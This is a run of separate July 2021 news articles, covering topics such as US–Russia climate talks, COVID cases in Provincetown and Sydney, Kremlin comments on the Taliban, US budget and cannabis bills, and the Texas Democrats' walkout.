Moscow is particularly concerned about European Union plans to introduce a new carbon tax at its border that the central bank estimates could cost Russia as much as $9.7 billion per year. Edelgeriyev told Kerry such unilateral restrictions would limit Russias ability to develop a low-carbon economy.

Kerry, who served as secretary of state under President Barack Obama, met Russian Foreign Minister Sergei Lavrov on Monday. Noting that the U.S. is the worlds top greenhouse gas emitter and Russia the fourth-biggest, President Joe Bidens special envoy said the U.S. has proposals on ways to work together ahead of the United Nations climate change conference that starts Oct. 31 in Glasgow.

Obviously, we have some differences in the relationship between our countries but we were very pleased that Putin took part in a virtual summit in April hosted by Biden, Kerry said. Clearly were looking for rational and predictable components of that relationshiip.

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A shift in attitudes within Russias leadership is taking place on climate issues, said Igor Bashmakov, a 2007 Nobel laureate as part of the Intergovernmental Panel on Climate Change. But moving to a low-carbon economy means the issue of access to new technologies is very significant for Russia, he said.

Its a good signal that the climate agenda may become common ground for U.S. and Russian leaders, said Polina Karkina, climate campaigner at Greenpeace Russia. But both countries need to raise ambitions.

Russia has pledged to reduce greenhouse gas emissions by as much as 70% from 1990 levels by 2030, assuming that its vast forests absorb the maximum amount of carbon dioxide possible. That target is so low that Russia met it years ago and has so far expressed no desire to set a more ambitious goal.

Russia and the U.S. last week started talks on cyber-security that were agreed upon by the two presidents at their June 16 summit in Geneva.

They are due to begin a new round of arms-control negotiations this month, Russian Deputy Foreign Minister Sergei Ryabkov said Wednesday, the state-run Tass news service reported. Ryabkov said a day earlier that Russia and the U.S. can find agreement on specific issues on a rational basis.

(updates with Kremlin approach from third paragraph)

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Maddie Meyer/Getty

About ten days after Billy went with his partner and a friend to Provincetown, Massachusetts, a Cape Cod tourist hub popular with the LGBTQ+ community affectionately known as PTown, to celebrate the Fourth of July weekend, he started to feel sick.

Despite getting his second jab of the Moderna vaccine in April, the 26-year-old grocery store worker from Bostonwho asked his last name be withheld for professional reasonssaid his symptoms mirrored all the indicators of the novel coronavirus that has plagued the United States for over a year. He had a headache, fatigue, nausea, congestion, diarrhea, and a slight cough.

To make matters worse, Billy told The Daily Beast, his partner was also experiencing symptomsalong with other PTown visitors and residents, some of whom were going online to report a positive diagnosis after the holiday weekend.

I left work and got tested, Billy told The Daily Beast, noting that only heand not his partnertested positive for COVID-19. It was just one of several cases that have been reported over the past few days among visitors who spent time in the Massachusetts town, according to Outer Cape Health Services, a local group of community health centers.

Going to PTown [and] being around so many young people from all across the New England region and NYC, I knew it was a risk, he said Tuesday, adding that he was starting to feel better already. However, all the symptoms Ive had, if we were in a pre-COVID world, I wouldve probably gone to work. They havent been debilitating at all.

In other words, the vaccine is working. In fact, local officials, health experts, and people who passed through Provincetown during what appears to be a modest spike there almost universally say the new cases are no cause for grave alarm, at least not yet.

The reason is simple: Provincetown currently has one of the highest vaccination rates in the state, and the shots are helping prevent summer vacations from turning into a disaster.

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According to the Barnstable County Department of Health, at least 30 people have tested positive in the last weekand a majority of those cases are from fully vaccinated individuals. That represents an uptick for the county that consists of all of Cape Cod and the associated island, which saw about 20 cases two weeks prior.

It is not clear how many of the positive individuals in Barnstable are breakthrough casesmeaning they are exhibiting symptoms despite getting shots. But Provincetown Health Department and Outer Cape Health Services both told The Daily Beast they were monitoring the situation.

The numbers also do not account for people who visited the county and later tested positive in their hometownsand, of course, likely fail to capture some vaccinated people who became infected and never had symptoms. Some of those people, even vaccinated ones, could theoretically have gone on to infect othersincluding young kids who cannot get vaccinatedthough the evidence suggests that is unlikely.

Its Summer 2020 on Steroids in This COVID Tourist Trap

A spokesperson for Outer Cape Health Services, meanwhile, told The Daily Beast that no hospitalizations have been recorded associated with these potential breakthrough cases.

Bottom line: we are not seeing anything we didnt really expect, Provincetown Town Manager Alex Morse told The Daily Beast, confirming that the town was monitoring positive COVID cases among people in PTown over the last few weeks.

If anything, it confirms the vaccine is working, we always knew it was not 100 percent effective. And from what we are seeing, everyone who has tested positive has a mild case, he added.

The slight spike in cases in Barnstable County, however, is a microcosm of an ongoing national problemone that almost entirely falls on unvaccinated people.

According to Johns Hopkins University, 34 statesincluding Massachusettshave seen a 50 percent spike of new cases in the last week as the highly transmissible Delta variant sweeps the nation. The vast majority of those cases, hospitalizations, and deaths stem from unvaccinated residents.

Dr. Amesh Adalja, a senior scholar at the Johns Hopkins Center for Health Security and a specialist in infectious diseases, explained that while breakthrough cases are going to occur, all cases would be decreased if everyone just got the vaccine already.

Perhaps most important, mini outbreaks like this one do nothing to dent the clear reality that the vaccines are safe and effective.

These people somehow believe that COVID is going to magically disappear, he told The Daily Beast. We are going to be having COVID cases ten years from now. And breakthrough cases will occur no matter what.

In Provincetown, almost all part-time and permanent residents are fully inoculated with one of three COVID-19 vaccines. Further, many bars and clubs in the Cape Cod town require vaccination cards for entryand three past visitors told The Daily Beast that some establishments still have a mask policy.

For Jeremy Cox, a 39-year-old program manager, the ongoing threat of the coronavirus and the Delta variant has not yet made him pause on his frequent trips to Provincetown. He told The Daily Beast that since Memorial Day weekend, he has gone multiple timesand has never had a moment of uneasiness because people are required to be vaccinated to get into places and mask-use is still encouraged.

I think the panic comes from people expecting the vaccine to be magic and also thinking it wouldnt be them in terms of being a breakthrough case, he said, adding that he knew while at the tourist spot that if I went anywhere without a mask, then I am responsible for my actions.

Cox, however, did admit that he was surprised when he learned that three of his friends who were with him during the July 4th weekend had tested positive for COVID-19 despite being fully vaccinated. He said he was even more shocked when he saw on social media that a slew of people who went to Provincetownand could have been around him at holiday eventswere speaking out about how they had tested positive, with symptoms, despite their vaccination status.

I was a bit surprised, but only because it likely means that someone sharing houses werent vaccinated and then hung out with others who hung out with others, he said, noting that while he shared a house with three other people, he said he was always with other people, whether it

was at their houses, dinner or dancing.

Local health officials cautioned that they have not yet determined the origins or cause of the Provincetown uptick.

I think everyone just needs to accept the science and look at the symptoms the newly infected are having, Cox told The Daily Beast. My friends who have it are saying its just a head coldif that. Those who are saying theyre having stronger symptoms are the outliers here in terms of the bodys reaction to becoming infected while vaccinated.

Adalja also stressed that the vaccine essentially defangs the coronavirus, and warned against social-media hysteria about spikes in resort towns.

Worried that overtesting could have a chilling effect on those who may have been on the fence about getting the vaccine, the doctor stressed that it is important for only people who are not vaccinated or people who have symptoms to get tested for the coronavirus.

Fully vaccinated people with no symptoms should not be tested. Period, he added.

Still, Dr. Graham Walker, an emergency physician in San Francisco who has treated COVID-19 patients, believes that the uptick in cases should encourage people to use slightly more caution as we find some new normal after vaccinations.

Some people think they may be more protected than they are, Walker said. Nobody in the PTown group has been hospitalized, but we dont know how many people will have long-term effects from the virus.

While Walker stresses that those who went to Provincetown vaccinated did nothing wrong and should not be blamed for following the CDC guidelines and going out to celebrate the holiday, the cluster should be a wake-up call.

This was not a superspreader event, this is just a numbers game, he said. Even if there wasnt a Delta variant, we would still get breakout cases. The vaccine isnt 100 percent effective. Do the math. Someone had to get it.

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With flames tearing across some 800,000 hectares of Russian forest, the hardest-hit region of Yakutia in the north has been in a state of emergency for weeks as climate scientists sound the alarm about the potential long-term impact.

Russia has seen its annual fire season become more ferocious in recent years, as climate change has driven unusually high temperatures across the northern Siberian tundra.

President Vladimir Putin ordered the defense ministry to assist local authorities, defense minister Sergei Shoigu said during a briefing.
MOSCOW (Reuters) - The Kremlin's most senior Afghanistan official accused the Afghan government of hypocrisy on Wednesday and said it needed to start proper negotiations with the Taliban about the country's future before it was too late.

Zamir Kabulov, President Vladimir Putin's special representative on Afghanistan, issued the warning ahead of talks about the Afghan crisis in Tajikistan where foreign ministers from the Shanghai Cooperation Organisation were meeting.

Kabulov, in an interview with Russia's RIA news agency, said that while the Afghan government paid lip service to the idea of talks it was not doing enough to make them happen.

"It's hypocrisy. It's an attempt to close their eyes to the reality which exists and these are empty words," Kabulov told RIA when talking about the Afghan's government's stance on negotiations with the Taliban.

"We need deeds."

The only way out of the current crisis which has seen the Taliban make military gains on the back of an exit by U.S. and NATO forces was for all sides to sit down together at the negotiating table in Kabul, Kabulov was cited as saying.

He said that Russia and other regional powers favoured a transitional government in Afghanistan.

A Taliban delegation in Moscow last week said that the group controlled more than 85% of territory in Afghanistan - an assertion dismissed by the government - and told Russia it would not let the country be used as a platform to attack others.

(Reporting by Maxim Rodionov/Alexander Marrow; Editing by Andrew Osborn)
MOSCOW (AP)  Moscow expects the Taliban to fulfill its pledge not to threaten Russia or its allies in Central Asia, the Kremlin envoy on Afghanistan said in an interview published Wednesday.

Zamir Kabulov, who met with a Taliban delegation that visited Moscow last week, voiced confidence that the Taliban would focus on securing their gains in Afghanistan and wouldn't try to challenge the countries of the region.

"They visited Moscow to offer guarantees on behalf of the Taliban's supreme leadership that the territory of Afghanistan will not be used against the interests of third countries, Kabulov said in an interview with the state RIA-Novosti news agency. He said he previously received similar assurances from Mullah Abdul Ghani Baradar, the co-founder of the Taliban.

The Talibans focus on fighting the Islamic State group also works in Russias interests, Kabulov said.

The Taliban fight the Islamic State, and the Taliban gains erode the foundation for any IS attacks and diversions in Central Asia, the diplomat said.

The Taliban claimed last week that it now controls 85% of Afghanistans territory after making quick gains amid the withdrawal of American troops that is set to wrap up on Aug. 31. Earlier this month, Taliban advances forced hundreds of Afghan soldiers to flee across the border into Tajikistan.

Kabulov said the retreating Afghan troops fired on the Taliban fighters after crossing into Tajikistan, but the Taliban didn't return fire.

He also said he did not expect the Taliban to take over all of Afghanistan.

They may take control of several provinces... but it wouldnt allow them to become the omnipotent rulers of Afghanistan, Kabulov said.

The Kremlin envoy acknowledged that the Islamic State group and other militant groups in Afghanistan could pose a threat to Russia's allies in Central Asia north of Afghanistan. He said Russia would work with Central Asian nations to coordinate security efforts and tighten border protection.

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That would be the most impressive signal to any forces against encroaching on our security, said Kabulov, who is set to attend an international security conference in Tashkent, Uzbekistan that opens Thursday.

He predicted that Afghanistan will see intense fighting in the coming months before the Afghan government, the Taliban and other groups become ready for substantial and fruitful talks.

Both parties were preparing for the fighting for too long, and before they spend their ammunition it's hard to expect anything, the Russian diplomat said. The fighting will continue for another couple of months before a new military-political balance is established.

Kabulov said that Russia has been talking to all parties involved to encourage them to negotiate a political settlement.

Moscow, which fought a 10-year war in Afghanistan that ended with Soviet troops withdrawal in 1989, has made a diplomatic comeback as a mediator, reaching out to feuding Afghan factions and hosting several rounds of their talks.

While he criticized the results of the U.S. mission in Afghanistan, Kabulov stressed that Moscow and Washington share common interests in Afghanistan and were working closely together to help stabilize the country.

It's almost the only field where we cooperate in a fruitful way with the Americans, the envoy said.

Russia nonetheless has warned the United States against deploying its troops in the former Soviet Central Asian nations following the withdrawal from Afghanistan.
Jul. 14SALISBURY  A beach area property owner sued the town, claiming it has conspired with local officials to keep a home from being rebuilt.

Ocean View Realty Trust filed a complaint against the town and the Salisbury Board of Health in Essex Superior Court on May 6.

The property, which includes a three-unit dwelling close to the beach and a one-unit "Sunday Cottage," is 0.172 acres and located at 193 Atlantic Ave., according to the town.

The approximately 7,500-square-foot property was most recently assessed at $719,900  a land value of $543,000 and building value of $176,900  and is owned by Mario Iannuccillo Jr., the trustee of Ocean View Realty Trust.

The Iannuccillo family has owned the property since the 1950s and "this property and the town have a remarkably long and unfortunately complex history," the complaint said.

Town Manager Neil Harrington said in an email that the town disputes the claim it has conspired in any way against the plaintiff.

"This property has been a well-known eyesore at Salisbury Beach for many years, and the town's primary interest is having the owner resolve the current building and health violations," Harrington said. "The town has exercised maximum patience with the property owner and will defend the lawsuit vigorously. In the meantime, the existing violations must be addressed."

Ocean View Realty Trust's troubles reportedly began in October 1992 when the Zoning Board of Appeals ordered that the buildings be torn down and replaced after they were damaged in the so-called "Perfect Storm" the previous October. The board's decision was eventually overturned in 1993 and the property owner was given the go-ahead to rebuild in 1995.

There were then plans to remodel the three units in early 1996, which is also when abutters Michael Kobos and Donald Egan "began their serial attempts to prevent Ocean View from reconstructing their property" after their own home was completed in late 1995, according to the complaint.

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Kobos and Egan  who has served on the Planning Board, which he chairs, since 1997  made offers to Ocean View at the time to purchase the property at a reduced value of $265,000, the complaint said.

Ocean View rejected the offer and the complaint makes note of a letter to the town in which Kobos and Egan demanded that the building inspector at the time, Kenneth Sheehan, revoke the building permit.

Sheehan denied the request, the matter was appealed to the board and denied, and ended up in Land Court where the case remains active.

A number of complaints, amendments and appeals played out between Ocean View, Kobos and Egan, and various town boards and officials over an almost 20-year period, according to court documents.

But the Massachusetts Appeals Court eventually decided in favor of the town as well as Kobos and Egan in 2015, and nothing has been rebuilt on the property.

Ocean View found itself at odds with the town again when the Board of Health began investigating the property earlier this year. Court documents say Health Director Jack Morris inspected the property based on an anonymous complaint.

"Upon information and belief, his inspection was performed at the request or suggestion of either the town of Salisbury building inspector/zoning officer Scott Vanderwall and/or the chair of the Planning Board, Donald Egan," the complaint states.

Egan denied Ocean View's claim in an email to The Daily News.

"Since I have no first hand knowledge, it would be inappropriate for me to comment further," Egan wrote.

Although Ocean View does not contest most of the Board of Health findings, the property owners have taken issue with a complaint about debris in the yard that is said to be causing a nuisance and possibly harboring rodents and other wildlife.

Ocean View worked with the building inspector, who allowed the property owners to fold a wall of the structure inward to cover it, then secure and fence it off, according to the complaint.

The debris is the remains of the pre-existing, nonconforming structure that had been secured with a tarp, placed on a trailer and fenced off.

"In other words, the Salisbury inspector mandated the very condition about which the board now complains," Ocean View's complaint states.

Ocean View fears that if it removes what remains of the structure, the town and neighbors will use it to bolster their claim that they have no right to rebuild, the complaint said.

But, if Ocean View does not move forward with removal, it would risk retaliation from the Board of Health, the complaint said.

"It is crystal clear that Salisbury has and does intend to do anything it can to deprive Ocean View of its rights with respect to its property," the complaint said.

Staff writer Jim Sullivan covers Amesbury and Salisbury for The Daily News. He can be reached via email at jsullivan@newburyportnews.com or by phone at 978-961-3145. Follow him on Twitter @ndnsully.
WASHINGTON  Senate Democratic leaders announced an agreement Tuesday evening to advance a $3.5 trillion spending plan to finance a major expansion of the economic safety net.

Senate Majority Leader Chuck Schumer, D-N.Y., said the $3.5 trillion would be in addition to the $579 billion in new spending in the bipartisan infrastructure agreement.

He said the deal would include a "robust expansion of Medicare" that would include new benefits like dental, vision and hearing coverage, along with major funding for clean energy. "If we pass this, this is the most profound change to help American families in generations," he said.

"Joe Biden is coming to our lunch tomorrow to lead us on to getting this wonderful plan that affects American families in a so profound way, more than anything that's happened to generations," Schumer told reporters. "We are very proud of this plan. We know we have a long road to go. We're going to get this done for the sake of making average Americans' lives a whole lot better."

Sen. Mark Warner, D-Va., a member of the Budget and Finance committees, said the plan would be "fully paid for."

The agreement would prohibit tax increases on small businesses and people making under $400,000, a Democratic aide familiar with the deal said.

The announcement points to a challenge for Democrats, who will have to agree on a massive bill that is financed with new tax revenue to pass it through razor-thin congressional majorities, with no realistic hope of winning Republican support.

Democrats have no margin for error in the 50-50 Senate, and they can lose just four votes in the House before the legislation would be in danger of failing.

"This is, in our view, a pivotal moment in American history," Sen. Bernie Sanders, I-Vt., the Budget Committee chairman, told reporters.

"What this legislation says among many, many other things is that those days are gone. The wealthy and large corporations are going to start paying their fair share of taxes, so that we can protect the working families in this country," he said.

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The agreement, a significant decrease from Sanders' $6 trillion proposal, is an attempt to achieve consensus in an ideologically diverse Democratic Party with a host of competing interests. The legislation has yet to be written.

Senate Democratic leaders hope to advance both the bipartisan infrastructure bill and the party-line budget reconciliation bill this month, before Congress leaves for the August recess.

As Senate Democrats were literally down the hall agreeing on their plan, a separate bipartisan group of 22 senators were meeting in another room working to hash out the last remaining issues on their own $579 billion plan.

"There's a goal to have all the member-level decisions made by the time we end the session on Thursday," Sen Rob Portman, R-Ohio, said after the meeting.

That group hopes to get investment and funding questions resolved by the end of the week so that the bill text can be finalized, and the Congressional Budget Office can do its cost analysis.
File: Cannabis on display at a dispensary in Los Angeles, California on 27 December 2017 (AFP via Getty Images)

A discussion draft of a bill that aims to legalise cannabis across the US, developed by top Democrat leaders, is set to be unveiled by them at a press conference on Wednesday.

US Senate majority leader Chuck Schumer, finance chairman Ron Wyden and new Jersey Senator Cory Booker plan to unveil the draft, according to Bloomberg.

People familiar with the development told Bloomberg that the Cannabis Administration and Opportunity Act aims to remove cannabis from the federal list of controlled substances.

The bill also aims to go beyond just legalising the substance, according to the report, as it could tax and regulate cannabis at a federal level. States, however, will have the freedom to enforce their own laws regarding sale and purchase.

The three Democrat senators had called for ending the federal marijuana prohibition and promised a comprehensive cannabis reform legislation, in early February this year.

The War on Drugs has been a war on people  particularly people of colour, the senators said in the statement.

They argued that ending the federal marijuana prohibition is necessary to right the wrongs of this failed war and end decades of harm inflicted on communities of colour across the country.

Continued enforcement of cannabis prohibition laws resulted in over 600,000 arrests in 2017, according to a 2019 report by Human Rights Watch.

The arrests disproportionately affect people of colour as they are almost four times as likely to be arrested for marijuana possession as their white counterparts, even though the rates of marijuana use have remained equal across races, said the report.

The bill is expected to tackle this disproportionate targeting and regulate the drug from a health and safety perspective.

It may also include provisions that could encourage banks to work with cannabis companies and assist them in basic requirements like bank loans and accounts.

The draft bill is also expected to clear another hurdle that has reportedly curbed the profitability of companies.

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The removal of section 280E, a tax code that prevents businesses dealing with Schedule I or Schedule II controlled substances from claiming standard business deductions, is expected. Schedule I or Schedule II controlled substances include heroin, LSD, cannabis, cocaine, amphetamines and other drugs.

Currently, cannabis companies pay an effective tax rate of anything between 60 to 100 per cent on profit, according to Forbes.

The bill is, however, expected to receive challenges from within the party, according to earlier reports.

Speaking to Politico earlier in April, two Democrats  Senators Jeanne Shaheen and Jon Tester  voiced their opposition against the removal of federal penalties on cannabis. The bill will need 60 votes to stand in the senate.

Recreational use of cannabis is legal in 17 states as of now, with medical use after approval from doctors legal in 36 states.

Read More

AP News Digest 3:10 a.m.

Cuba, Haiti stir fresh political pressures for US president

EXPLAINER: Who's who in the probe of Haiti's assassination
Dr. Dabber reached out to Richardson with the lucrative offer, which, if accepted, would make her an official resident doctor of the company

While ShaCarri Richardson may not be running in the Olympics this year, she still has plenty of opportunities coming her way. The sports star has reportedly been offered a $250,000 ambassador role with a cannabis vape company.

As theGrio previously reported, Richardson is one of the biggest sports stars to come out of 2021. Currently rated sixth globally for the womens 100-meter, Richardson took the world by storm when she went viral with her talent. While she, unfortunately, will not able to run in the Olympics after her suspension due to marijuana use, it seems she has not lost the support of the public.

ShaCarri Richardson looks on after winning the Womens 100 Meter final on day 2 of the 2020 U.S. Olympic Track (Credit: Getty Images)

According to a new report from TMZ, the sprinting star has been offered an ambassador role from Dr. Dabber, a vaping company. A letter from the organization to Richardson reads, Dear Ms. Richardson, we are saddened to learn of your recent suspension from the US Track and Field team, due to THC and missing the opportunity to compete at the 2021 Tokyo Olympic Games. At Dr. Dabber, we believe that THC can actually have many positive effects on an athletes recovery and overall mental wellbeing.

Considering your talent and grace over these past weeks, we would love to offer you the opportunity to work with our team as a spokesperson for Dr. Dabber, the letter continued. This entails testing our award-winning dab rigs and vape pens as a resident doctor.'

ShaCarri Richardson runs in the Womens 100 Meter semifinal on day 2 of the 2020 U.S. Olympic Track (Credit: Getty Images)

According to TMZ, it is not clear yet whether or not Richardson will accept the offer, or if she is even interested. Dr. Dabber itself is certainly in need of a new ambassador. The company just dropped former Disney star Kyle Massey after allegations connected to alleged inappropriate communication with a minor resurfaced. While Massey was indeed an official spokesperson, he did not have doctor status, which in the letter, has been promised to Richardson.

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As theGrio has previously reported, Richardson has received massive support throughout the world, including from President Joe Biden. He said when speaking to Richardsons situation, The rules are the rules and everybody knows what the rules were going inwhether they should remain the rules is a different issue, but the rules are the rules but I was really proud of the way she responded.

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The post ShaCarri Richardson offered $250K ambassador role at cannabis vape company appeared first on TheGrio.
MOSCOW (Reuters) - The foreign ministers of the Shanghai Cooperation Organisation (SCO) on Wednesday called for an end to violence in Afghanistan against civilians and the authorities and urged the Afghan government to strengthen its position for the sake of stability.

Senior Afghan leaders are expected to meet the Taliban for talks in Doha this week.

In a statement, the SCO foreign ministers called for a purely peaceful settlement.

(Reporting by Maxim Rodionov; Writing by Alexander Marrow; Editing by Andrew Osborn)
By David Shepardson

WASHINGTON (Reuters) - SK Siltron's U.S. unit will announce on Wednesday it plans to invest $300 million in Michigan to expand its silicon carbide wafer manufacturing and add 150 jobs to support U.S. electric vehicle production, the company's chief executive told Reuters.

The investment announcement comes as U.S. automakers are spending tens of billions of dollars to boost EV production and the Biden administration has sought $174 billion in funding to expand EV subsidies and charging networks.

The investment is the latest sign that electric vehicle suppliers are moving more production closer to their biggest customers in anticipation of booming demand as automakers shift away from internal-combustion vehicles.

SK Siltron CSS, a unit of South Korea-based SK Siltron, a global semiconductor wafer producer, said the investment over the next three years would more than double the companys workforce in Michigan and add a new 140,000-square foot site in Bay City, Mich., to join its current facility in nearby Auburn, Mich.

SK Siltron CSS Chief Executive Jianwei Dong told Reuters the $300 million investment would "help develop a domestic EV supply chain based in Michigan because we have our end customers in nearby communities." The investment will "help EVs go further and charge faster."

The company is working to quickly expand to meet rising needs. "Right now we are seeing so much demand from customers," Dong said, adding that the company is considering additional investments and that the wafers can also be used in 5G communications equipment.

SK Siltron CSS manufactures silicon carbide wafers used in semiconductor power components.

In EVs, the wafers allow for more efficient electricity transfer from battery to motor, increasing driving range by 5% to 10%, the company said. They can also reduce charging times, relax cooling requirements and shrink power module size and weight.

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Some studies suggest the shift to electric vehicles will require fewer workers because EVs are mechanically simpler. It is unclear how many EV parts will be manufactured in the United States.

"As we build toward a more sustainable future, it is important that we create new, robust supply chains in the U.S. to support our corporations and the end consumer," U.S. Commerce Secretary Gina Raimondo said in a statement, praising SK Siltron CSS's investment.

The Michigan Economic Development Corporation said the state has been working to attract EV-related jobs. In the last two years, Michigan has seen nearly $9 billion in planned investments and more than 10,000 jobs added as part of the EV transition.

The SK Siltron CSS expansion is still awaiting state and local approvals, the company said.

SK Siltron is part of SK Group. SK Innovation, another SK Group affiliate, in May announced it was forming a battery joint venture with Ford Motor Co to support the No. 2 U.S. automaker's EV rollout. SK Innovation is separately building a $2.6 billion battery cell plant in Georgia to serve Ford and Volkswagen AG

(Reporting by David Shepardson. Editing by Gerry Doyle)
STOCKHOLM (Reuters) - An Afghan refugee was sentenced to life in prison by a Swedish court on Wednesday for a stabbing spree in March that left seven victims hospitalised.

The man carried out the attacks on March 3 in the small town of Vetlanda, in southern Sweden, stabbing seven people before being shot and taken into custody by police. [L5N2L16T3]

Police initially investigated possible terror motives but the man was only charged for attempted murder. The man had suffered from mental illness at the time of the attack, but was not judged unfit to stand trial.

(Reporting by Stockholm Newsroom; editing by Niklas Pollard)
Sydney's five million residents will be in virus lockdown for at least another two weeks, state premier Gladys Berejiklian announced on Wednesday, rejecting calls to tighten restrictions further.

Australia's largest city is already in its third week of a partial lockdown and struggling to bring a fast-spreading outbreak of the coronavirus Delta variant under control.

In the past 24 hours, 97 new cases were recorded, more than the 89 reported the previous day.

Australia had been widely lauded for its early handling of the pandemic.

But a painfully slow vaccine rollout has left less than 10 percent of the population protected as much of the world gingerly reopens.

"It always hurts to say this, but we need to extend the lockdown, at least a further two weeks," said Berejiklian, premier of New South Wales state, of which Sydney is the capital.

Under Australia's "Covid zero" strategy, authorities are trying to stamp out community transmission completely.

Sydney's lockdown was due to end on July 16, but that date has now been pushed back until July 30.

"I appreciate people are stressed and upset about what is going on, myself included," Berejiklian said. "None of us want to be in this situation. But it is our job to keep the community safe."

Most Sydney residents are allowed to leave home for exercise, essential shopping, work or health reasons, but schools are closed and people are encouraged to remain at home.

Authorities have rejected calls for the lockdown to be more stringent, with critics pointing out that "essential work" rules allow stores such as Ikea and Louis Vuitton to remain open.

"I appreciate there are a lot of opinions out there, but please know every decision we take is based on that expert health advice," said Berejiklian.

- 'Send Beer' -

Some hotspot areas are subject to tighter restrictions, including a Bondi apartment block that was fully locked down after nine cases were detected.

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On Tuesday, police guarded the front and rear of the building to prevent residents from leaving. A sign taped to one apartment window read "Send Beer".

Berejiklian did not rule out more stringent citywide restrictions if cases continued to rise.

Australia's latest Covid-19 outbreak began in mid-June and has since grown to 864 cases. Twenty people are in intensive care and two have died.

The outbreak is believed to have begun with an unvaccinated driver who had been working with international air crews.

Sydney is virtually cut off from the rest of the country, with residents banned from entering many states and cities.

Australia's international borders have been mostly sealed since March 2020, and are not expected to open before the end of the year.

Since the pandemic began, Australia has recorded more than 31,000 virus cases and 912 deaths in a population of 25 million.

arb/hr/qan
Sen. Ted Cruz. Anna Moneymaker/Getty Images

Sen. Ted Cruz of Texas slammed Democratic lawmakers who fled the state earlier this week.

Texas Democrats accused Cruz of hypocrisy after he fled the state during a deadly storm in February.

"I'd sit this one out, Ted," said Julian Castro, a Texas Democrat.

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Sen. Ted Cruz of Texas was mocked after he criticized Democratic lawmakers who fled the state in a walkout earlier this week, with several lawmakers pointing out that he flew to Mexico earlier this year to escape a deadly winter storm that was ravaging the state.

On Monday Democrats in the Texas House of Representatives deliberately left the state for Washington, DC, to block Republican priorities - including a bill on voting rights - from passing in a special legislative session.

The move was to deny the legislative quorum needed to move the bills forward: under the Texan constitution, two-thirds of Texas lawmakers must be present for legislative business to proceed.

In a Tuesday interview with Fox News, Cruz called the move a "political stunt" made "in a fit," and said it was "going to fail."

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Cruz's comments prompted criticism from current and former lawmakers, accusing him of hypocrisy after he flew from Texas to Cancun, Mexico, to escape a deadly winter storm this February.

He ultimately returned home from the trip several days earlier than planned, and said the decision to fly on vacation was "obviously a mistake."

"If it's one thing Ted Cruz knows about, it's jet setting," said Georgia Rep. Hank Johnson on Twitter in response to Cruz's interview. "Reminds you of when he abandoned his duty to the people of Texas when he left in the middle of a winter storm to go to Cancun."

Julian Castro, another Texas Democrat and a member of former President Barack Obama's cabinet, also tweeted: "Texas Democrats left the state to fight for voting rights. Ted Cruz left the state to sip drinks on a Cancun beach. I'd sit this one out, Ted."

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And the Lincoln Project, a group formed by Republicans critical of former President Donald Trump, tweeted: "Ted Cruz knows a thing or two about fleeing Texas."

Texas state Rep. Ron Reynolds speaks alongside members of the Texas House Democratic Caucus and voting-rights advocates outside the Texas State Capitol in Austin on July 8, 2021. Tamir Kalifa/Getty Images

The Texas lawmakers who fled the state this week had delayed the introduction of legislation that restricts voting rights, but accept that they cannot stop it from passing eventually, The New York Times reported.

They are lobbying President Joe Biden's administration to pass voting rights-legislation at a federal level after Texas Gov. Greg Abbott said he would introduce "special session after special session after special session" until the statewide legislation was passed, The Times reported.

Read the original article on Business Insider
WASHINGTON  Shortly after becoming Texas' solicitor general in 2003, Ted Cruz was asked by his boss to research the legality of arresting dozens of Democratic lawmakers who fled the capital of Austin to prevent the Legislature from taking up redistricting legislation.

The answer, Cruz concluded, was emphatically yes  pointing to a provision in the state constitution modeled after the U.S. Constitution. Now a U.S. senator representing Texas, the Republican stood by that opinion Tuesday.

"There is clear legal authority to (arrest) legislators that are trying to stop the Legislature from being able to do business and to physically compel their presence and to ensure a quorum," Cruz told USA TODAY.

Cruz's boss at the time? Greg Abbott, then the GOP attorney general of Texas and now the governor. It was Abbott who threatened this week to arrest a group of Texas Democrats who fled to Washington, D.C., in a similar effort to deny the GOP-controlled legislature the quorum needed to pass bills that would impose new voting restrictions in the state.

Joined by fellow Texas state House Democrats, chairman of the Mexican American Legislative Caucus, state Rep. Rafael Anchia and state Rep. Chris Turner speak during a news conference on voting rights outside the U.S. Capitol on Tuesday

The Texas House voted Tuesday to send for the Democrats who left, authorizing the use of arrest warrants if needed to compel attendance.

The short-term problem for Texas Republicans is that Democrats have left the state and, therefore, curtailed Abbott's authority to have them arrested because Texas officials have no authority to arrest or detain people beyond state lines. He'll have to wait for their return if he wants to punish them, though House rules authorize the sergeant-at-arms "to locate absent members of the committee and to compel their attendance."

The Lone Star State is only the latest example over the past 20 years where lawmakers in the minority party have felt so strongly about an issue, they believe leaving the state is the only choice they have.

Walkouts took place four times in Oregon, including each of the last three years when frustrated Republicans decided leaving was their best weapon to fighting climate change legislation (2019, 2020) and coronavirus restrictions (2021).

Story continues

It happened in Indiana in 2011 and in 2012 when pro-union Democrats walked out to prevent right-to-work legislation from moving forward. The bill was delayed but ultimately approved by the GOP-controlled legislature.

More: Can Texas Democrats be arrested for fleeing the state? What does it mean for the special session?

And it happened in Wisconsin, also in 2011, over similar right-to-work legislation Democrats staunchly opposed.

Breaking quorum is usually only an option for minority party members in the handful of states with a "supermajority quorum standard" such as the requirement in Texas that two-thirds of legislators be present to vote on bills, Peverill Squire, a University of Missouri political scientist and expert on the rules of state legislatures, told USA TODAY in an email Tuesday.

"Usually, the minority only employs the tactic when they are seeking to defeat a high-profile, controversial issue," he wrote. "There is no guarantee that the minority will be able to stave off the majority party over the long haul, but they can make the process more difficult and raise the political stakes."

The strategy of walkouts has garnered mixed results.

Demonstrators are gathered outside of the Texas State Capitol during a voting rights rally on the first day of the 87th Legislature's special session on July 8, 2021 in Austin, Texas.

The 2020 walkout by GOP lawmakers in Oregon led to Democratic Gov. Kate Brown issuing an executive order that her staff said accomplished much of what the proposed cap-and-trade bill would have done to reduce carbon emissions. The Indiana stand-off in 2011 led to the GOP removing three of 12 disputed bills.

More: 'It's a game of chicken': Texas Democrats' walkout has precedent, but will it work?

And the 2003 walkout that was the subject of Cruz's research succeeded in delaying  though not denying  the redistricting measure. It ended after 43 days when one of the Democratic senators returned to the state from New Mexico, giving the GOP the quorum it needed to proceed.

As far as punishment, most of the walkouts ended without arrest.

More: Oregon Republicans return to Senate floor after walkout, but it's too late

Then-Gov. Mitch Daniels in Indiana did not order the arrest of the Democratic legislators who sought refuge in neighboring Illinois because he feared it might hurt the rest of his legislative agenda in 2011. Brown sent Oregon troopers to arrest the GOP lawmakers in 2019 but many of them fled the state and avoided arrest.

Most lawmakers who walked out faced fines rather than handcuffs. Texas Republicans eventually rescinded the fines they imposed on the condition that the Democratic lawmakers not leave again.

